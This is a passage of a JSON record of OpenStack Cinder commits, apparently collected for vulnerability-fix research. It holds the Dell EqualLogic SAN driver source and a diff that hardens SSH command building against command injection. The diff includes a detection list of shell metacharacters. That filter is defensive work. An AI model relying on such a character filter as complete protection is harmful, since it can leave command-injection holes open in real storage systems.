\"\"\"Delete a volume.\"\"\" try: self._check_volume(volume) self._eql_execute('volume', 'select', volume['name'], 'offline') self._eql_execute('volume', 'delete', volume['name']) except exception.VolumeNotFound: LOG.warn(_('Volume %s was not found while trying to delete it'), volume['name']) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to delete volume %s'), volume['name']) def create_snapshot(self, snapshot): \"\"\"\"Create snapshot of existing volume on appliance.\"\"\" try: out=self._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'create-now') prefix='Snapshot name is ' snap_name=self._get_prefixed_value(out, prefix) self._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'rename', snap_name, snapshot['name']) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to create snapshot of volume %s'), snapshot['volume_name']) def create_volume_from_snapshot(self, volume, snapshot): \"\"\"Create new volume from other volume's snapshot on appliance.\"\"\" try: out=self._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'select', snapshot['name'], 'clone', volume['name']) return self._get_volume_data(out) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to create volume from snapshot %s'), snapshot['name']) def create_cloned_volume(self, volume, src_vref): \"\"\"Creates a clone of the specified volume.\"\"\" try: src_volume_name=self.configuration.\\ volume_name_template % src_vref['id'] out=self._eql_execute('volume', 'select', src_volume_name, 'clone', volume['name']) return self._get_volume_data(out) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to create clone of volume %s'), volume['name']) def delete_snapshot(self, snapshot): \"\"\"Delete volume's snapshot.\"\"\" try: self._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'delete', snapshot['name']) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to delete snapshot %(snap)s of ' 'volume %(vol)s'), {'snap': snapshot['name'], 'vol': snapshot['volume_name']}) def initialize_connection(self, volume, connector): \"\"\"Restrict access to a volume.\"\"\" try: cmd=['volume', 'select', volume['name'], 'access', 'create', 'initiator', connector['initiator']] if self.configuration.eqlx_use_chap: cmd.extend(['authmethod chap', 'username', self.configuration.eqlx_chap_login]) self._eql_execute(*cmd) iscsi_properties=self._get_iscsi_properties(volume) return{ 'driver_volume_type': 'iscsi', 'data': iscsi_properties } except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to initialize connection to volume %s'), volume['name']) def terminate_connection(self, volume, connector, force=False, **kwargs): \"\"\"Remove access restrictions from a volume.\"\"\" try: self._eql_execute('volume', 'select', volume['name'], 'access', 'delete', '1') except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to terminate connection to volume %s'), volume['name']) def create_export(self, context, volume): \"\"\"Create an export of a volume. Driver has nothing to do here for the volume has been exported already by the SAN, right after it's creation. \"\"\" pass def ensure_export(self, context, volume): \"\"\"Ensure an export of a volume. Driver has nothing to do here for the volume has been exported already by the SAN, right after it's creation. We will just make sure that the volume exists on the array and issue a warning. \"\"\" try: self._check_volume(volume) except exception.VolumeNotFound: LOG.warn(_('Volume %s is not found!, it may have been deleted'), volume['name']) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to ensure export of volume %s'), volume['name']) def remove_export(self, context, volume): \"\"\"Remove an export of a volume. Driver has nothing to do here for the volume has been exported already by the SAN, right after it's creation. Nothing to remove since there's nothing exported. \"\"\" pass def extend_volume(self, volume, new_size): \"\"\"Extend the size of the volume.\"\"\" try: self._eql_execute('volume', 'select', volume['name'], 'size', \"%sG\" % new_size) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to extend_volume %(name)s from ' '%(current_size)sGB to %(new_size)sGB'), {'name': volume['name'], 'current_size': volume['size'], 'new_size': new_size}) def local_path(self, volume): raise NotImplementedError() ", "sourceWithComments": "# Copyright (c) 2013 Dell Inc.\n# Copyright 2013 OpenStack LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\"\"\"Volume driver for Dell EqualLogic Storage.\"\"\"\n\nimport functools\nimport random\n\nimport eventlet\nfrom eventlet import greenthread\nimport greenlet\nfrom oslo.config import cfg\n\nfrom cinder import exception\nfrom cinder.openstack.common import excutils\nfrom cinder.openstack.common import log as logging\nfrom cinder.openstack.common import processutils\nfrom cinder import utils\nfrom cinder.volume.drivers.san import SanISCSIDriver\n\nLOG = logging.getLogger(__name__)\n\neqlx_opts = [\n cfg.StrOpt('eqlx_group_name',\n default='group-0',\n help='Group name to use for creating volumes'),\n cfg.IntOpt('eqlx_cli_timeout',\n default=30,\n help='Timeout for the Group Manager cli command execution'),\n cfg.IntOpt('eqlx_cli_max_retries',\n default=5,\n help='Maximum retry count for reconnection'),\n cfg.BoolOpt('eqlx_use_chap',\n default=False,\n help='Use CHAP authentication for targets?'),\n cfg.StrOpt('eqlx_chap_login',\n default='admin',\n help='Existing CHAP account name'),\n cfg.StrOpt('eqlx_chap_password',\n default='password',\n help='Password for specified CHAP account name',\n secret=True),\n cfg.StrOpt('eqlx_pool',\n default='default',\n help='Pool in which volumes will be created')\n]\n\n\nCONF = cfg.CONF\nCONF.register_opts(eqlx_opts)\n\n\ndef with_timeout(f):\n @functools.wraps(f)\n def __inner(self, *args, **kwargs):\n timeout = kwargs.pop('timeout', None)\n gt = eventlet.spawn(f, self, *args, **kwargs)\n if timeout is None:\n return gt.wait()\n else:\n kill_thread = eventlet.spawn_after(timeout, gt.kill)\n try:\n res = gt.wait()\n except greenlet.GreenletExit:\n raise exception.VolumeBackendAPIException(\n data=\"Command timed out\")\n else:\n kill_thread.cancel()\n return res\n\n return __inner\n\n\nclass DellEQLSanISCSIDriver(SanISCSIDriver):\n \"\"\"Implements commands for Dell EqualLogic SAN ISCSI management.\n\n To enable the driver add the following line to the cinder configuration:\n volume_driver=cinder.volume.drivers.eqlx.DellEQLSanISCSIDriver\n\n Driver's prerequisites are:\n - a separate volume group set up and running on the SAN\n - SSH access to the SAN\n - a special user must be created which must be able to\n - create/delete volumes and snapshots;\n - clone snapshots into volumes;\n - modify volume access records;\n\n The access credentials to the SAN are provided by means of the following\n flags\n san_ip=\n san_login=\n san_password=\n san_private_key=\n\n Thin provision of volumes is enabled by default, to disable it use:\n san_thin_provision=false\n\n In order to use target CHAP authentication (which is disabled by default)\n SAN administrator must create a local CHAP user and specify the following\n flags for the driver:\n eqlx_use_chap=true\n eqlx_chap_login=\n eqlx_chap_password=\n\n eqlx_group_name parameter actually represents the CLI prompt message\n without '>' ending. E.g. if prompt looks like 'group-0>', then the\n parameter must be set to 'group-0'\n\n Also, the default CLI command execution timeout is 30 secs. Adjustable by\n eqlx_cli_timeout=\n \"\"\"\n\n VERSION = \"1.0.0\"\n\n def __init__(self, *args, **kwargs):\n super(DellEQLSanISCSIDriver, self).__init__(*args, **kwargs)\n self.configuration.append_config_values(eqlx_opts)\n self._group_ip = None\n self.sshpool = None\n\n def _get_output(self, chan):\n out = ''\n ending = '%s> ' % self.configuration.eqlx_group_name\n while not out.endswith(ending):\n out += chan.recv(102400)\n\n LOG.debug(_(\"CLI output\\n%s\"), out)\n return out.splitlines()\n\n def _get_prefixed_value(self, lines, prefix):\n for line in lines:\n if line.startswith(prefix):\n return line[len(prefix):]\n return\n\n @with_timeout\n def _ssh_execute(self, ssh, command, *arg, **kwargs):\n transport = ssh.get_transport()\n chan = transport.open_session()\n chan.invoke_shell()\n\n LOG.debug(_(\"Reading CLI MOTD\"))\n self._get_output(chan)\n\n cmd = 'stty columns 255'\n LOG.debug(_(\"Setting CLI terminal width: '%s'\"), cmd)\n chan.send(cmd + '\\r')\n out = self._get_output(chan)\n\n LOG.debug(_(\"Sending CLI command: '%s'\"), command)\n chan.send(command + '\\r')\n out = self._get_output(chan)\n\n chan.close()\n\n if any(line.startswith(('% Error', 'Error:')) for line in out):\n desc = _(\"Error executing EQL command\")\n cmdout = '\\n'.join(out)\n LOG.error(cmdout)\n raise processutils.ProcessExecutionError(\n stdout=cmdout, cmd=command, description=desc)\n return out\n\n def _run_ssh(self, cmd_list, attempts=1):\n utils.check_ssh_injection(cmd_list)\n command = ' '. join(cmd_list)\n\n if not self.sshpool:\n password = self.configuration.san_password\n privatekey = self.configuration.san_private_key\n min_size = self.configuration.ssh_min_pool_conn\n max_size = self.configuration.ssh_max_pool_conn\n self.sshpool = utils.SSHPool(self.configuration.san_ip,\n self.configuration.san_ssh_port,\n self.configuration.ssh_conn_timeout,\n self.configuration.san_login,\n password=password,\n privatekey=privatekey,\n min_size=min_size,\n max_size=max_size)\n try:\n total_attempts = attempts\n with self.sshpool.item() as ssh:\n while attempts > 0:\n attempts -= 1\n try:\n LOG.info(_('EQL-driver: executing \"%s\"') % command)\n return self._ssh_execute(\n ssh, command,\n timeout=self.configuration.eqlx_cli_timeout)\n except processutils.ProcessExecutionError:\n raise\n except Exception as e:\n LOG.exception(e)\n greenthread.sleep(random.randint(20, 500) / 100.0)\n msg = (_(\"SSH Command failed after '%(total_attempts)r' \"\n \"attempts : '%(command)s'\") %\n {'total_attempts': total_attempts, 'command': command})\n raise exception.VolumeBackendAPIException(data=msg)\n\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_(\"Error running SSH command: %s\") % command)\n\n def _eql_execute(self, *args, **kwargs):\n return self._run_ssh(\n args, attempts=self.configuration.eqlx_cli_max_retries)\n\n def _get_volume_data(self, lines):\n prefix = 'iSCSI target name is '\n target_name = self._get_prefixed_value(lines, prefix)[:-1]\n lun_id = \"%s:%s,1 %s 0\" % (self._group_ip, '3260', target_name)\n model_update = {}\n model_update['provider_location'] = lun_id\n if self.configuration.eqlx_use_chap:\n model_update['provider_auth'] = 'CHAP %s %s' % \\\n (self.configuration.eqlx_chap_login,\n self.configuration.eqlx_chap_password)\n return model_update\n\n def _get_space_in_gb(self, val):\n scale = 1.0\n part = 'GB'\n if val.endswith('MB'):\n scale = 1.0 / 1024\n part = 'MB'\n elif val.endswith('TB'):\n scale = 1.0 * 1024\n part = 'TB'\n return scale * float(val.partition(part)[0])\n\n def _update_volume_stats(self):\n \"\"\"Retrieve stats info from eqlx group.\"\"\"\n\n LOG.debug(_(\"Updating volume stats\"))\n data = {}\n backend_name = \"eqlx\"\n if self.configuration:\n backend_name = self.configuration.safe_get('volume_backend_name')\n data[\"volume_backend_name\"] = backend_name or 'eqlx'\n data[\"vendor_name\"] = 'Dell'\n data[\"driver_version\"] = self.VERSION\n data[\"storage_protocol\"] = 'iSCSI'\n\n data['reserved_percentage'] = 0\n data['QoS_support'] = False\n\n data['total_capacity_gb'] = 'infinite'\n data['free_capacity_gb'] = 'infinite'\n\n for line in self._eql_execute('pool', 'select',\n self.configuration.eqlx_pool, 'show'):\n if line.startswith('TotalCapacity:'):\n out_tup = line.rstrip().partition(' ')\n data['total_capacity_gb'] = self._get_space_in_gb(out_tup[-1])\n if line.startswith('FreeSpace:'):\n out_tup = line.rstrip().partition(' ')\n data['free_capacity_gb'] = self._get_space_in_gb(out_tup[-1])\n\n self._stats = data\n\n def _check_volume(self, volume):\n \"\"\"Check if the volume exists on the Array.\"\"\"\n command = ['volume', 'select', volume['name'], 'show']\n try:\n self._eql_execute(*command)\n except processutils.ProcessExecutionError as err:\n with excutils.save_and_reraise_exception():\n if err.stdout.find('does not exist.\\n') > -1:\n LOG.debug(_('Volume %s does not exist, '\n 'it may have already been deleted'),\n volume['name'])\n raise exception.VolumeNotFound(volume_id=volume['id'])\n\n def do_setup(self, context):\n \"\"\"Disable cli confirmation and tune output format.\"\"\"\n try:\n disabled_cli_features = ('confirmation', 'paging', 'events',\n 'formatoutput')\n for feature in disabled_cli_features:\n self._eql_execute('cli-settings', feature, 'off')\n\n for line in self._eql_execute('grpparams', 'show'):\n if line.startswith('Group-Ipaddress:'):\n out_tup = line.rstrip().partition(' ')\n self._group_ip = out_tup[-1]\n\n LOG.info(_(\"EQL-driver: Setup is complete, group IP is %s\"),\n self._group_ip)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to setup the Dell EqualLogic driver'))\n\n def create_volume(self, volume):\n \"\"\"Create a volume.\"\"\"\n try:\n cmd = ['volume', 'create',\n volume['name'], \"%sG\" % (volume['size'])]\n if self.configuration.eqlx_pool != 'default':\n cmd.append('pool')\n cmd.append(self.configuration.eqlx_pool)\n if self.configuration.san_thin_provision:\n cmd.append('thin-provision')\n out = self._eql_execute(*cmd)\n return self._get_volume_data(out)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to create volume %s'), volume['name'])\n\n def delete_volume(self, volume):\n \"\"\"Delete a volume.\"\"\"\n try:\n self._check_volume(volume)\n self._eql_execute('volume', 'select', volume['name'], 'offline')\n self._eql_execute('volume', 'delete', volume['name'])\n except exception.VolumeNotFound:\n LOG.warn(_('Volume %s was not found while trying to delete it'),\n volume['name'])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to delete volume %s'), volume['name'])\n\n def create_snapshot(self, snapshot):\n \"\"\"\"Create snapshot of existing volume on appliance.\"\"\"\n try:\n out = self._eql_execute('volume', 'select',\n snapshot['volume_name'],\n 'snapshot', 'create-now')\n prefix = 'Snapshot name is '\n snap_name = self._get_prefixed_value(out, prefix)\n self._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'rename', snap_name,\n snapshot['name'])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to create snapshot of volume %s'),\n snapshot['volume_name'])\n\n def create_volume_from_snapshot(self, volume, snapshot):\n \"\"\"Create new volume from other volume's snapshot on appliance.\"\"\"\n try:\n out = self._eql_execute('volume', 'select',\n snapshot['volume_name'], 'snapshot',\n 'select', snapshot['name'],\n 'clone', volume['name'])\n return self._get_volume_data(out)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to create volume from snapshot %s'),\n snapshot['name'])\n\n def create_cloned_volume(self, volume, src_vref):\n \"\"\"Creates a clone of the specified volume.\"\"\"\n try:\n src_volume_name = self.configuration.\\\n volume_name_template % src_vref['id']\n out = self._eql_execute('volume', 'select', src_volume_name,\n 'clone', volume['name'])\n return self._get_volume_data(out)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to create clone of volume %s'),\n volume['name'])\n\n def delete_snapshot(self, snapshot):\n \"\"\"Delete volume's snapshot.\"\"\"\n try:\n self._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'delete', snapshot['name'])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to delete snapshot %(snap)s of '\n 'volume %(vol)s'),\n {'snap': snapshot['name'],\n 'vol': snapshot['volume_name']})\n\n def initialize_connection(self, volume, connector):\n \"\"\"Restrict access to a volume.\"\"\"\n try:\n cmd = ['volume', 'select', volume['name'], 'access', 'create',\n 'initiator', connector['initiator']]\n if self.configuration.eqlx_use_chap:\n cmd.extend(['authmethod chap', 'username',\n self.configuration.eqlx_chap_login])\n self._eql_execute(*cmd)\n iscsi_properties = self._get_iscsi_properties(volume)\n return {\n 'driver_volume_type': 'iscsi',\n 'data': iscsi_properties\n }\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to initialize connection to volume %s'),\n volume['name'])\n\n def terminate_connection(self, volume, connector, force=False, **kwargs):\n \"\"\"Remove access restrictions from a volume.\"\"\"\n try:\n self._eql_execute('volume', 'select', volume['name'],\n 'access', 'delete', '1')\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to terminate connection to volume %s'),\n volume['name'])\n\n def create_export(self, context, volume):\n \"\"\"Create an export of a volume.\n\n Driver has nothing to do here for the volume has been exported\n already by the SAN, right after it's creation.\n \"\"\"\n pass\n\n def ensure_export(self, context, volume):\n \"\"\"Ensure an export of a volume.\n\n Driver has nothing to do here for the volume has been exported\n already by the SAN, right after it's creation. We will just make\n sure that the volume exists on the array and issue a warning.\n \"\"\"\n try:\n self._check_volume(volume)\n except exception.VolumeNotFound:\n LOG.warn(_('Volume %s is not found!, it may have been deleted'),\n volume['name'])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to ensure export of volume %s'),\n volume['name'])\n\n def remove_export(self, context, volume):\n \"\"\"Remove an export of a volume.\n\n Driver has nothing to do here for the volume has been exported\n already by the SAN, right after it's creation.\n Nothing to remove since there's nothing exported.\n \"\"\"\n pass\n\n def extend_volume(self, volume, new_size):\n \"\"\"Extend the size of the volume.\"\"\"\n try:\n self._eql_execute('volume', 'select', volume['name'],\n 'size', \"%sG\" % new_size)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to extend_volume %(name)s from '\n '%(current_size)sGB to %(new_size)sGB'),\n {'name': volume['name'],\n 'current_size': volume['size'],\n 'new_size': new_size})\n\n def local_path(self, volume):\n raise NotImplementedError()\n"}}, "msg": "Fixes ssh-injection error while using chap authentication\n\nA space in the command construction was being caught by the\nssh-injection check. The fix is to separate the command strings.\n\nChange-Id: If1f719f9c2ceff31ed5386c53cf60bc7f522f4d7\nCloses-Bug: #1280409"}}, "https://github.com/storpool/cinder": {"f752302d181583a95cf44354aea607ce9d9283f4": {"url": "https://api.github.com/repos/storpool/cinder/commits/f752302d181583a95cf44354aea607ce9d9283f4", "html_url": "https://github.com/storpool/cinder/commit/f752302d181583a95cf44354aea607ce9d9283f4", "message": "Tidy up the SSH call to avoid injection attacks in storwize_svc\n\nLet the command and arguments form up a list and avoid the extra arguments\nattackers inserted to the command string\n\nfix bug 1192971\n\nChange-Id: I57b3fe60e64d9d0dc1ea9a18442c877be2ceece3", "sha": "f752302d181583a95cf44354aea607ce9d9283f4", "keyword": "command injection attack", "diff": "diff --git a/cinder/exception.py b/cinder/exception.py\nindex 777ec1283..f23c6fbe6 100644\n--- a/cinder/exception.py\n+++ b/cinder/exception.py\n@@ -606,3 +606,7 @@ class VolumeMigrationFailed(CinderException):\n \n class ProtocolNotSupported(CinderException):\n message = _(\"Connect to volume via protocol %(protocol)s not supported.\")\n+\n+\n+class SSHInjectionThreat(CinderException):\n+ message = _(\"SSH command injection detected\") + \": %(command)s\"\ndiff --git a/cinder/tests/test_storwize_svc.py b/cinder/tests/test_storwize_svc.py\nindex 02b1b59b2..9c2eea8e8 100644\n--- a/cinder/tests/test_storwize_svc.py\n+++ b/cinder/tests/test_storwize_svc.py\n@@ -181,8 +181,7 @@ def _is_invalid_name(self, name):\n return True\n \n # Convert argument string to dictionary\n- def _cmd_to_dict(self, cmd):\n- arg_list = cmd.split()\n+ def _cmd_to_dict(self, arg_list):\n no_param_args = [\n 'autodelete',\n 'autoexpand',\n@@ -1156,7 +1155,6 @@ def execute_command(self, cmd, check_exit_code=True):\n \n command = kwargs['cmd']\n del kwargs['cmd']\n- arg_list = cmd.split()\n \n if command == 'lsmdiskgrp':\n out, err = self._cmd_lsmdiskgrp(**kwargs)\ndiff --git a/cinder/utils.py b/cinder/utils.py\nindex c263972d8..d26943837 100644\n--- a/cinder/utils.py\n+++ b/cinder/utils.py\n@@ -129,6 +129,30 @@ def trycmd(*args, **kwargs):\n return (stdout, stderr)\n \n \n+def check_ssh_injection(cmd_list):\n+ ssh_injection_pattern = ['`', '$', '|', '||', ';', '&', '&&', '>', '>>',\n+ '<']\n+\n+ # Check whether injection attacks exist\n+ for arg in cmd_list:\n+ arg = arg.strip()\n+ # First, check no space in the middle of arg\n+ arg_len = len(arg.split())\n+ if arg_len > 1:\n+ raise exception.SSHInjectionThreat(command=str(cmd_list))\n+\n+ # Second, check whether danger character in command. So the shell\n+ # special operator must be a single argument.\n+ for c in ssh_injection_pattern:\n+ if arg == c:\n+ continue\n+\n+ result = arg.find(c)\n+ if not result == -1:\n+ if result == 0 or not arg[result - 1] == '\\\\':\n+ raise exception.SSHInjectionThreat(command=cmd_list)\n+\n+\n def ssh_execute(ssh, cmd, process_input=None,\n addl_env=None, check_exit_code=True):\n LOG.debug(_('Running cmd (SSH): %s'), cmd)\ndiff --git a/cinder/volume/drivers/san/san.py b/cinder/volume/drivers/san/san.py\nindex ad532810e..bdf7767ed 100644\n--- a/cinder/volume/drivers/san/san.py\n+++ b/cinder/volume/drivers/san/san.py\n@@ -100,7 +100,10 @@ def san_execute(self, *cmd, **kwargs):\n command = ' '.join(cmd)\n return self._run_ssh(command, check_exit_code)\n \n- def _run_ssh(self, command, check_exit_code=True, attempts=1):\n+ def _run_ssh(self, cmd_list, check_exit_code=True, attempts=1):\n+ utils.check_ssh_injection(cmd_list)\n+ command = ' '. join(cmd_list)\n+\n if not self.sshpool:\n password = self.configuration.san_password\n privatekey = self.configuration.san_private_key\ndiff --git a/cinder/volume/drivers/storwize_svc.py b/cinder/volume/drivers/storwize_svc.py\nindex 85ad8fbec..4e22aa652 100755\n--- a/cinder/volume/drivers/storwize_svc.py\n+++ b/cinder/volume/drivers/storwize_svc.py\n@@ -141,7 +141,7 @@ def __init__(self, *args, **kwargs):\n for char in invalid_ch_in_host)\n \n def _get_iscsi_ip_addrs(self):\n- generator = self._port_conf_generator('svcinfo lsportip')\n+ generator = self._port_conf_generator(['svcinfo', 'lsportip'])\n header = next(generator, None)\n if not header:\n return\n@@ -166,7 +166,7 @@ def _get_iscsi_ip_addrs(self):\n def _get_fc_wwpns(self):\n for key in self._storage_nodes:\n node = self._storage_nodes[key]\n- ssh_cmd = 'svcinfo lsnode -delim ! %s' % node['id']\n+ ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!', node['id']]\n raw = self._run_ssh(ssh_cmd)\n resp = CLIResponse(raw, delim='!', with_header=False)\n wwpns = set(node['WWPN'])\n@@ -184,7 +184,7 @@ def do_setup(self, ctxt):\n self._context = ctxt\n \n # Validate that the pool exists\n- ssh_cmd = 'svcinfo lsmdiskgrp -delim ! -nohdr'\n+ ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-delim', '!', '-nohdr']\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), 'do_setup',\n ssh_cmd, out, err)\n@@ -197,7 +197,7 @@ def do_setup(self, ctxt):\n # Check if compression is supported\n self._compression_enabled = False\n try:\n- ssh_cmd = 'svcinfo lslicense -delim !'\n+ ssh_cmd = ['svcinfo', 'lslicense', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n license_lines = out.strip().split('\\n')\n for license_line in license_lines:\n@@ -210,7 +210,7 @@ def do_setup(self, ctxt):\n LOG.exception(_('Failed to get license information.'))\n \n # Get the iSCSI and FC names of the Storwize/SVC nodes\n- ssh_cmd = 'svcinfo lsnode -delim !'\n+ ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), 'do_setup',\n ssh_cmd, out, err)\n@@ -346,8 +346,7 @@ def _add_chapsecret_to_host(self, host_name):\n \"\"\"Generate and store a randomly-generated CHAP secret for the host.\"\"\"\n \n chap_secret = utils.generate_password()\n- ssh_cmd = ('svctask chhost -chapsecret \"%(chap_secret)s\" %(host_name)s'\n- % {'chap_secret': chap_secret, 'host_name': host_name})\n+ ssh_cmd = ['svctask', 'chhost', '-chapsecret', chap_secret, host_name]\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from chhost\n self._assert_ssh_return(len(out.strip()) == 0,\n@@ -360,7 +359,7 @@ def _get_chap_secret_for_host(self, host_name):\n LOG.debug(_('enter: _get_chap_secret_for_host: host name %s')\n % host_name)\n \n- ssh_cmd = 'svcinfo lsiscsiauth -delim !'\n+ ssh_cmd = ['svcinfo', 'lsiscsiauth', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n@@ -426,7 +425,7 @@ def _connector_to_hostname_prefix(self, connector):\n \n def _find_host_from_wwpn(self, connector):\n for wwpn in connector['wwpns']:\n- ssh_cmd = 'svcinfo lsfabric -wwpn %s -delim !' % wwpn\n+ ssh_cmd = ['svcinfo', 'lsfabric', '-wwpn', wwpn, '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n@@ -456,7 +455,7 @@ def _find_host_from_wwpn(self, connector):\n \n def _find_host_exhaustive(self, connector, hosts):\n for host in hosts:\n- ssh_cmd = 'svcinfo lshost -delim ! %s' % host\n+ ssh_cmd = ['svcinfo', 'lshost', '-delim', '!', host]\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()),\n '_find_host_exhaustive',\n@@ -487,7 +486,7 @@ def _get_host_from_connector(self, connector):\n LOG.debug(_('enter: _get_host_from_connector: prefix %s') % prefix)\n \n # Get list of host in the storage\n- ssh_cmd = 'svcinfo lshost -delim !'\n+ ssh_cmd = ['svcinfo', 'lshost', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n@@ -541,15 +540,18 @@ def _create_host(self, connector):\n # When creating a host, we need one port\n self._driver_assert(len(ports), _('_create_host: No connector ports'))\n port1 = ports.pop(0)\n- ssh_cmd = ('svctask mkhost -force %(port1)s -name \"%(host_name)s\"' %\n- {'port1': port1, 'host_name': host_name})\n+ arg_name, arg_val = port1.split()\n+ ssh_cmd = ['svctask', 'mkhost', '-force', arg_name, arg_val, '-name',\n+ '\"%s\"' % host_name]\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return('successfully created' in out,\n '_create_host', ssh_cmd, out, err)\n \n # Add any additional ports to the host\n for port in ports:\n- ssh_cmd = ('svctask addhostport -force %s %s' % (port, host_name))\n+ arg_name, arg_val = port.split()\n+ ssh_cmd = ['svctask', 'addhostport', '-force', arg_name, arg_val,\n+ host_name]\n out, err = self._run_ssh(ssh_cmd)\n \n LOG.debug(_('leave: _create_host: host %(host)s - %(host_name)s') %\n@@ -560,7 +562,7 @@ def _get_hostvdisk_mappings(self, host_name):\n \"\"\"Return the defined storage mappings for a host.\"\"\"\n \n return_data = {}\n- ssh_cmd = 'svcinfo lshostvdiskmap -delim ! %s' % host_name\n+ ssh_cmd = ['svcinfo', 'lshostvdiskmap', '-delim', '!', host_name]\n out, err = self._run_ssh(ssh_cmd)\n \n mappings = out.strip().split('\\n')\n@@ -600,11 +602,8 @@ def _map_vol_to_host(self, volume_name, host_name):\n \n # Volume is not mapped to host, create a new LUN\n if not mapped_flag:\n- ssh_cmd = ('svctask mkvdiskhostmap -host %(host_name)s -scsi '\n- '%(result_lun)s %(volume_name)s' %\n- {'host_name': host_name,\n- 'result_lun': result_lun,\n- 'volume_name': volume_name})\n+ ssh_cmd = ['svctask', 'mkvdiskhostmap', '-host', host_name,\n+ '-scsi', result_lun, volume_name]\n out, err = self._run_ssh(ssh_cmd, check_exit_code=False)\n if err and err.startswith('CMMVC6071E'):\n if not self.configuration.storwize_svc_multihostmap_enabled:\n@@ -614,8 +613,11 @@ def _map_vol_to_host(self, volume_name, host_name):\n 'was not created because the VDisk is '\\\n 'already mapped to a host.\\n\"'\n raise exception.CinderException(data=exception_msg)\n- ssh_cmd = ssh_cmd.replace('mkvdiskhostmap',\n- 'mkvdiskhostmap -force')\n+\n+ for i in range(len(ssh_cmd)):\n+ if ssh_cmd[i] == 'mkvdiskhostmap':\n+ ssh_cmd.insert(i + 1, '-force')\n+\n # try to map one volume to multiple hosts\n out, err = self._run_ssh(ssh_cmd)\n LOG.warn(_('volume %s mapping to multi host') % volume_name)\n@@ -636,7 +638,7 @@ def _delete_host(self, host_name):\n \n LOG.debug(_('enter: _delete_host: host %s ') % host_name)\n \n- ssh_cmd = 'svctask rmhost %s ' % host_name\n+ ssh_cmd = ['svctask', 'rmhost', host_name]\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from rmhost\n self._assert_ssh_return(len(out.strip()) == 0,\n@@ -646,7 +648,7 @@ def _delete_host(self, host_name):\n \n def _get_conn_fc_wwpns(self, host_name):\n wwpns = []\n- cmd = 'svcinfo lsfabric -host %s' % host_name\n+ cmd = ['svcinfo', 'lsfabric', '-host', host_name]\n generator = self._port_conf_generator(cmd)\n header = next(generator, None)\n if not header:\n@@ -820,8 +822,8 @@ def terminate_connection(self, volume, connector, **kwargs):\n # Check if vdisk-host mapping exists, remove if it does\n mapping_data = self._get_hostvdisk_mappings(host_name)\n if vol_name in mapping_data:\n- ssh_cmd = 'svctask rmvdiskhostmap -host %s %s' % \\\n- (host_name, vol_name)\n+ ssh_cmd = ['svctask', 'rmvdiskhostmap', '-host', host_name,\n+ vol_name]\n out, err = self._run_ssh(ssh_cmd)\n # Verify CLI behaviour - no output is returned from\n # rmvdiskhostmap\n@@ -852,13 +854,13 @@ def _get_vdisk_attributes(self, vdisk_name):\n parsed/matched to a single vdisk.\n \"\"\"\n \n- ssh_cmd = 'svcinfo lsvdisk -bytes -delim ! %s ' % vdisk_name\n+ ssh_cmd = ['svcinfo', 'lsvdisk', '-bytes', '-delim', '!', vdisk_name]\n return self._execute_command_and_parse_attributes(ssh_cmd)\n \n def _get_vdisk_fc_mappings(self, vdisk_name):\n \"\"\"Return FlashCopy mappings that this vdisk is associated with.\"\"\"\n \n- ssh_cmd = 'svcinfo lsvdiskfcmappings -nohdr %s' % vdisk_name\n+ ssh_cmd = ['svcinfo', 'lsvdiskfcmappings', '-nohdr', vdisk_name]\n out, err = self._run_ssh(ssh_cmd)\n \n mapping_ids = []\n@@ -921,31 +923,27 @@ def _create_vdisk(self, name, size, units, opts):\n LOG.debug(_('enter: _create_vdisk: vdisk %s ') % name)\n \n model_update = None\n- autoex = 